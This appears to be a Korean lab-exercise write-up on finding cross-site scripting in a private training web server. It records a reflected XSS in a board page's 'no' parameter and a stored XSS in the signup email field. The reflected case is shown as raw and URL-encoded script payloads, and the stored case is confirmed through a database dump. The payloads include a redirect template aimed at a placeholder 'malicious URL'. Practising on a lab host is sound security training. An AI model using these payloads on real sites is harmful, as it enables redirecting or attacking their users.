XSS 취약점 찾기

실습> 취약점 찾기

XSS 만 찾기

취약한 서버 : 192.168.108.101

XSS를 찾으면 location.href = 'http://naver.com'; 을 이용해서 잘 되는지 확인할 것!!!


취약점 종류 : Reflected XSS
취약한 URL : 
http://192.168.108.101/?id=bbs1&m=read&no=16<script>location.href = 'http://naver.com';</script>
취약한 파라미터 : no
공격 코드 : <script>location.href="악성URL";</script>

http://192.168.108.101/?id=bbs1&m=read&no=16<script>alert("xss")</script>
http://192.168.108.101/?id=bbs1&m=read&no=16<script>location.href = 'http://naver.com';</script>
http://192.168.108.101/?id=bbs1&m=read&no=16%3c%73%63%72%69%70%74%3e%6c%6f%63%61%74%69%6f%6e%2e%68%72%65%66%20%3d%20%27%68%74%74%70%3a%2f%2f%6e%61%76%65%72%2e%63%6f%6d%27%3b%3c%2f%73%63%72%69%70%74%3e



취약점 종류 : Stored XSS
공격 위치 : 회원 가입 -> 이메일 입력 부분
취약한 URL : http://192.168.108.101/?id=memberlist
공격 코드 : <script>location.href="악성URL";</script>

회원 가입쪽의 이메일 : <script>alert("XSSTEST!")</script>

DB에서 확인해보면 member테이블에 testuser 사용자의 이메일 주소에 <script> 태그가 저장된 것을 확인할 수 있다.
MariaDB [mywebsite]> select * from  member \G
  :
  :(생략)
*************************** 5. row ***************************
       no: 5
 username: testuser
   userid: testuser
 userpass: *A4B6157319038724E3560894F7F932C8886EBFCF
useremail: <script>alert("XSSTEST!")</script>
   ipaddr: 192.168.108.1
     date: 2022-01-22 08:56:35
5 rows in set (0.00 sec)